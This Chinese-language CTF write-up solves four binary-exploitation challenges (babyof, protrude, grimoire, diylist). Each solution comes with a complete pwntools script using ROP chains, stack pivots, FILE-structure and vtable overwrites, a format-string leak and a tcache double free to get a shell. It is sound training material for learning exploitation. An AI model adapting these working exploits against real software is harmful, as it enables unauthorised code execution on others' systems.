babyof

分析

很容易发现程序中存在的漏洞,栈溢出,但是程序调用的外部函数仅有read,setbuf,exit这三个函数。此时如果想要泄露libc基址的话就需要覆写stdout结构体中的IO_write_ptr指针的低位为\x00即可,但是当我们更改指针低字节之后还是没有办法输出,因为函数没有任何的输出函数,因此就不会刷新stdout

这里我们就需要强制缓冲区刷新,即调用_IO_OVERFLOW,这里存在一个exit函数,因此我们可以直接exit,函数会调用_IO_cleanup_all,刷新每一个文件结构体,这是我们就可以泄露出libc的基址,但是泄露地址之后程序就退出了,因此我们还需要修改vtable表中的__overflow指针为main函数地址,以继续执行程序,再次利用溢出修改返回地址getshell

但是如果我们修改的是stdoutvtable__overflow指针的话,我们的libc就无法泄露,注意到_IO_list_all的连接顺序为stderr,stdout_stdin,因此我们可以修改stderr_IO_write_ptr的低字节和stdoutvtable。在exit函数执行刷新文件结构体的时候就会首先泄露libc基址,接着就会重新返回main函数执行,再次利用溢出布置rop chain,即可getshell

利用

首先看一下程序在main函数结束的时候的寄存器状态

图片无法显示,请联系作者

由于调用read函数之后立即返回,其寄存器中的参数还没有被覆写,因此只需要修改rsi即可。那么我们如何在没有libc地址的情况下修改stderr的结构呢,stderr的地址存储在.bss段中

图片无法显示,请联系作者

我们可以将stderr-0x8的地方覆写为p_rsi_rstderr+0x8的地方写入接下来的read.plt+rop chain,然后将栈迁移到stderr-0x10的位置,此时就可以将stderr的真实地址写到rsi寄存器中,随后进行read即可修改stderr结构体中的相关数据。

在修改stdout结构体的时候需要覆写stdout指针的低字节,使得在覆写vtable的地址的时候绕过libc地址,之后再对stdout地址进行复原,使得在输出的时候可以正常运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
# encoding=utf-8
from pwn import *

file_path = "./chall"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
gdb.attach(p)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0


p_rdi_r = 0x000000000040049c
p_rsi_r = 0x000000000040049e
p_rbp_r = 0x000000000040047c
leave_r = 0x0000000000400499
ret = 0x000000000040047d
p_r15_r = 0x000000000040049b
stderr_address = elf.sym['stderr']
stdin_address = elf.sym['stdin']
stdout_address = elf.sym['stdout']

read_address = elf.plt['read']
exit_address = elf.plt['exit']
main_address = elf.sym['main']

fake_vtable_address = elf.bss()+0xf00

payload = b"a"*0x28
payload += flat([
p_rsi_r,
stderr_address - 0x8,
read_address,
p_rsi_r,
stderr_address + 0x8,
read_address,
p_rbp_r,
stderr_address - 0x10,
leave_r
])
p.send(payload)
raw_input()
p.send(p64(p_rsi_r))
raw_input()

payload = flat([
read_address,
p_rsi_r, stdout_address - 0x8,
read_address,
p_rsi_r, stdin_address - 0x8,
read_address,
p_rsi_r, stderr_address - 0x8,
read_address,
p_rsi_r, stdout_address + 0x8,
read_address,
p_rbp_r, stdout_address - 0x10,
leave_r
])

p.send(payload)
raw_input()

fake_io = p64(0xfbad1800) + p64(0)*3 + b"\x88"
p.send(fake_io)
raw_input()

# overwrite stdout address to bypass libc address overwrite
p.send(p64(p_rsi_r) + p64(libc.sym['_IO_2_1_stdout_'] + 0x70)[:1])
raw_input()
p.send(p64(p_r15_r)) # pad
raw_input()
p.send(p64(p_r15_r))
raw_input()

p.send(payload)
raw_input()

# overwrite stdout vtable address to fake vtable
payload = p64(2) + p64(0xffffffffffffffff)
payload += p64(0)*2 + p64(0xffffffffffffffff)
payload += p64(0)*8 + p64(fake_vtable_address)
p.send(payload)

# change stdout address back
p.send(p64(p_rsi_r) + p64(libc.sym['_IO_2_1_stdout_'])[:1])
raw_input()
p.send(p64(p_r15_r)) # pad
raw_input()
p.send(p64(p_r15_r))
raw_input()

payload = flat([
read_address, # overwrite stdout
p_rsi_r, elf.bss()+0x808,
read_address,
p_rbp_r, elf.bss()+0x800,
leave_r
])

p.send(payload)
raw_input()
p.send(fake_io)
raw_input()
payload = flat([
p_rsi_r, fake_vtable_address,
read_address,
exit_address
])

p.send(payload)
raw_input()
fake_vtable = p64(0)*3 + p64(main_address)
p.send(fake_vtable)
raw_input()

libc.address = u64(p.recv()[0x20:0x28]) - libc.sym['_IO_2_1_stdout_']
log.success("libc address {}".format(hex(libc.address)))

payload = b"a"*0x28
payload += flat([
p_rdi_r, libc.search(b"/bin/sh\x00").__next__(),
libc.sym['system']
])
p.send(payload)
p.interactive()

protrude

在内存中long存储的是8字节,但是程序中只是按照4字节去分配的,因此存在缓冲区溢出。但是程序存在canary保护,我们可以通过覆写i的值来绕过canary。每次溢出都需要覆写返回地址指向calc_num函数以持续获得控制流。因此选择n=22,输入14个数字之后到达i的存储位置。

通过覆写i的值绕过canary的栈值,直接覆写返回地址,那么第一次输出的SUM的值由如下构成

1
calc_address + rbp + rbp-0xb0 + canary + 0x16*2

我们可以将返回地址改写为calc_num+0x9的值,以重复使用之前的栈帧,同样通过覆写i的值绕过canary的值,第二次输出的SUM的值如下,此处的buf是一个任意值用来覆写rbp中存储的值。

1
calc_address + rbp - 0x70 + canary + buf + 0x16*2

通过两次输出只差可以计算出rbp的值。

在第三次溢出覆写的时候我们将rbp覆写为栈中的一个地址,改地址处存储一个bss的地址,用于之后的栈迁移,并在栈中布置一段rop chain,功能是向bss中读取新的rop chain。返回地址覆写为leave_ret,此时程序返回时就会跳转到栈中的地址处执行rop,读取新的rop chain进入bss中,并迁移栈到bss

新的rop chain的功能是泄露libc基址,并读取调用system("/bin/sh")rop。最终getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
# encoding=utf-8
from pwn import *

file_path = "./chall"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
# b *0x400927\n
gdb.attach(p, "b *0x400999")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0


calc_num_address = 0x40088e
buf = 0x601b00

n = 22
p.sendlineafter("n = ", str(n))
for i in range(14):
p.sendlineafter("num[{}] = ".format(str(i+1)), "0")

p.sendlineafter(" = ", "20")
p.sendlineafter(" = ", str(0x400897))
p.recvuntil("SUM = ")
# rbp = 0x5d0
sum = int(p.recvline().strip(b"\n")) # calc_address + rbp + rbp-0xb0 + canary + 0x16*2
sum -= 0x400897
sum -= 0x16*2

for i in range(8):
p.sendlineafter(" = ".format(str(i+1)), "0")

p.sendlineafter(" = ", "11")
for i in range(2):
p.sendlineafter(" = ", "0")
p.sendlineafter(" = ", str(buf))
p.sendlineafter(" = ", str(calc_num_address))
for i in range(6):
p.sendlineafter(" = ", "0")
p.recvuntil("SUM = ")
# 0x560
sum2 = int(p.recvline().strip()) # calc_address + rbp - 0x70 + canary + buf + 0x16*2
sum2 -= buf
sum2 -= calc_num_address
sum2 -= 0x16*2
sum2 -= 0x40

stack_address = sum - sum2 - 0xc
log.success("stack address {}".format(hex(stack_address)))

p_rdi_r = 0x0000000000400a83
p_rsi_r15_r = 0x0000000000400a81
leave_r = 0x0000000000400849

puts_plt = elf.plt['puts']
read_plt = elf.plt['read']
puts_got = elf.got['puts']

p.sendlineafter(" = ", str(buf))
p.sendlineafter(" = ", str(p_rdi_r))
p.sendlineafter(" = ", str(0))
p.sendlineafter(" = ", str(p_rsi_r15_r))
p.sendlineafter(" = ", str(buf))
p.sendlineafter(" = ", str(0))
p.sendlineafter(" = ", str(read_plt))
p.sendlineafter(" = ", str(leave_r))
for i in range(5):
p.sendlineafter(" = ", "0")
p.sendlineafter(" = ", "18")
p.sendlineafter(" = ", str(stack_address - 0xa0 + 0x10))
p.sendlineafter(" = ", str(leave_r))
p.sendlineafter(" = ", "0")
p.recv()
payload = flat([
0xdeadbeef,
p_rdi_r, puts_got,
p_rsi_r15_r, 1, 0,
puts_plt,
p_rdi_r, 0,
p_rsi_r15_r, buf, 0,
read_plt
])
p.sendline(payload)
libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - libc.sym['puts']
log.success("libc address {}".format(hex(libc.address)))

payload = b"a"*0x68
payload += flat([
p_rdi_r, libc.search(b"/bin/sh\x00").__next__(),
p_rsi_r15_r, 0, 0,
libc.sym['system']
])
p.sendline(payload)

p.interactive()

grimoire

程序提供了四种操作file_open,read,edit,close。默认打开的文件是grimoire.txt,只有先open,read之后才可以进行edit。在main函数中打开file错误时调用error函数中存在一个格式化字符串漏洞

图片无法显示,请联系作者

但是需要先控制s的值也就是filepath的值,这里发现在edit函数中还存在一个溢出漏洞,函数根据用户输入的offsetbbs text处读取最大0x200字节大小的数据,但是text只有0x260字节大小,因此存在溢出,注意到与text紧跟的是fd,init,filepath存储,因此我们可以通过溢出修改filepath的值。

此外在read函数中也存在一个栈溢出漏洞

图片无法显示,请联系作者

ftell在处理某些特殊文件的时候可能会返回-1,而content_length却是unsigned类型,因此这里的fread会读取一个较长的字符串,从而造成缓冲区溢出。

利用

覆写filepath为格式化字符串,在open时就会调用error函数,进而泄露libc基址和canary。但是这样的话只能够利用一次格式化字符串地址,因为此时的filepath已经发生改变,无法打开文件,也就无法通过溢出修改filepath。因此我们在进行泄露的时候将filepath改为正常的文件.即可,这样打开文件成功之后我们可以继续覆写filepath

在泄露libc基址和canary之后就可以利用栈溢出来构造rop链了。但是读入数据是个问题,并不能直接将fp改为0,但是这里可以利用一种曲线的方法就是将filepath设置为/dev/stdin或者/proc/self/fd/0,并调用read函数,在打开上述文件时ftell会返回-1,因此在之后的fread时,可以输入数据进行栈溢出构造rop chain

需要注意的是最后调试的时候需要开ASLR,不然会导致程序初始栈地址太高,fread无法读取的情况,错误代码0xe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
# encoding=utf-8
from pwn import *

file_path = "./chall"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
gdb.attach(p, "b *$rebase(0x1499)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote('127.0.0.1', 8888)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0


def file_open():
p.sendlineafter("> ", "1")


def file_read():
p.sendlineafter("> ", "2")


def file_edit(offset, content):
p.sendlineafter("> ", "3")
p.sendlineafter("Offset: ", str(offset))
p.sendafter("Text: ", content)


def file_close():
p.sendlineafter("> ", "4")


payload = p64(0) + p64(0)
payload += b"a"*0x10 + b"%10$p-%22$p-"
payload += "%{}c%6$hn".format(ord('.') - 0x22).encode()

file_open()
file_read()
file_edit(0x200, payload)
file_open()

canary = int(p.recvuntil("-", drop=True), 16)
libc.address = int(p.recvuntil("-", drop=True), 16) - 231 - libc.sym['__libc_start_main']
log.success("canary {}".format(hex(canary)))
log.success("libc address {}".format(hex(libc.address)))

payload = p64(0) + p64(0)
payload += b"a"*0x10
payload += b"/proc/self/fd/0\x00".ljust(0x30, b"\x00")

file_open()
file_read()
file_edit(0x200, payload)

p_rdi_r = 0x000000000002155f + libc.address
p_rsi_r = 0x0000000000023e8a + libc.address
p_rdx_r = 0x0000000000001b96 + libc.address
p_rax_r = 0x0000000000043a78 + libc.address
syscall = 0x00000000000d29d5 + libc.address

payload = b"a"*0x200
payload += p64(0) + p64(canary) + p64(0)
payload += flat([
p_rdi_r, libc.search(b"/bin/sh\x00").__next__(),
p_rsi_r, 0, p_rdx_r, 0,
p_rax_r, 59,
syscall
])
payload = payload.ljust(0x4000, b"\x00")
file_open()
file_read()
p.sendline(payload)
p.recvuntil("-*")
p.recvline()

p.interactive()

diylist

程序提供了一种list的实现,具体的add,show,edit,delete函数则在自己编写的.so文件中,可以提供int,float,string三种类型的数据处理。在add,delete函数处理时传入参数的数据类型。

这里就存在数据类型混淆,我们可以利用int,string的数据类型混淆泄露libc基址和heap地址,并且注意到在delete函数实现过程中,全局数组中的指针没有清空,在利用int改写list中的某个元素为heap地址时,可以造成DoubleFree

2.27中可以直接对tcache Double Free,改写free_hook即可getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# encoding=utf-8
from pwn import *

file_path = "./chall"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
gdb.attach(p, "b *0x400F84")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0


def add(type, content):
p.sendlineafter("> ", "1")
p.sendlineafter("): ", str(type))
if type == 3:
p.sendlineafter("Data: ", content)
else:
p.sendlineafter("Data: ", str(content))


def show(index, type):
p.sendlineafter("> ", "2")
p.sendlineafter("Index: ", str(index))
p.sendlineafter("): ", str(type))


def edit(index, type, content):
p.sendlineafter("> ", "3")
p.sendlineafter("Index: ", str(index))
p.sendlineafter("): ", str(type))
p.sendlineafter("Data: ", str(content))


def delete(index):
p.sendlineafter("> ", "4")
p.sendlineafter("Index: ", str(index))


add(1, elf.got['read'])
add(3, "1"*8)
show(0, 3)
p.recvuntil("Data: ")
libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - libc.sym['read']
log.success("libc address {}".format(hex(libc.address)))

show(1, 1)
p.recvuntil("Data: ")
heap_address = int(p.recvline().strip(b"\n"))
log.success("heap address {}".format(hex(heap_address)))

add(3, "/bin/sh\x00")
edit(0, 1, str(heap_address))
delete(1)
delete(0)

add(3, p64(libc.sym['__free_hook']))
add(3, "a"*8)
add(3, p64(libc.sym['system']))

delete(0)
p.interactive()